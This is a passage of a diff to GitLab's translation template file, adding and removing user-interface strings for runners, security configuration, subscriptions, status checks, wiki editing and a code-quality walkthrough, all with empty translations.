+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25981,9 +26479,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26731,9 +27226,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26743,6 +27235,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26842,7 +27337,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27076,9 +27571,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27094,6 +27586,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28045,6 +28540,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28633,16 +29140,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28657,6 +29173,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28669,6 +29188,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28681,10 +29203,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28693,6 +29215,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28747,6 +29272,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28765,9 +29293,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28789,9 +29314,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28960,6 +29482,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29026,6 +29551,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29260,6 +29788,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29413,9 +29944,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29650,9 +30178,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29893,6 +30418,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29986,6 +30517,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30223,6 +30757,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30529,6 +31066,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30544,10 +31084,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30769,18 +31312,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30814,9 +31396,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30871,6 +31450,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30976,6 +31558,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31087,6 +31672,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31111,6 +31699,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31222,42 +31813,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31267,18 +31909,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31297,6 +31969,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31519,6 +32194,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31675,9 +32353,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31819,6 +32494,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31849,7 +32527,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31873,6 +32551,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32065,6 +32746,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32110,6 +32794,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32128,9 +32815,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32434,9 +33118,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32503,12 +33184,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32536,6 +33211,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32599,9 +33277,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32644,9 +33319,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32770,7 +33442,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32872,9 +33547,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33208,6 +33880,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33250,9 +33925,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33277,6 +33949,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33328,9 +34003,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33361,12 +34033,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33376,6 +34042,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33427,6 +34096,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33604,9 +34276,6 @@ msgstr[2] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33721,9 +34390,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33841,13 +34507,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33877,9 +34543,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34078,6 +34741,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34303,6 +34969,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34546,6 +35215,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34705,6 +35377,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35026,6 +35701,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35035,6 +35713,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35143,27 +35824,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35296,6 +35995,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35317,6 +36019,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35428,6 +36133,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35995,15 +36703,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36043,9 +36751,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36073,16 +36778,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36115,9 +36820,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36361,6 +37063,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36469,6 +37174,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36487,12 +37198,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36502,6 +37219,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36523,9 +37246,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36694,6 +37414,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36898,6 +37621,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37009,9 +37735,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37294,10 +38026,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37336,6 +38068,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37366,9 +38101,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37567,9 +38299,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37906,6 +38635,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
